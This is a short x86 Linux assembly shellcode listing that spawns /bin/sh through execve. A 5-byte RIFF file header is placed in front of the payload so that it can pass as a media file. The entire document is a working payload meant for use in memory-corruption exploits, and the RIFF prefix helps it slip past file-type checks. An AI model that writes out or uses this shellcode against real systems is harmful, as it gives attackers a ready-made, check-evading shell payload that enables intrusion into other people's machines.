# # x86/linux - execve("/bin/sh", ["/bin/sh", NULL]) + RIFF Header - 28 bytes # - izik@tty64.org # .section .text .global _start _start: # # RIFF Header (5 bytes) # .byte 0x52 .byte 0x49 .byte 0x46 .byte 0x46 .byte 0x40 # # execve("/bin/sh", ["/bin/sh", NULL]); # push $0xb popl %eax cdq push %edx push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %edx push %ebx mov %esp, %ecx int $0x80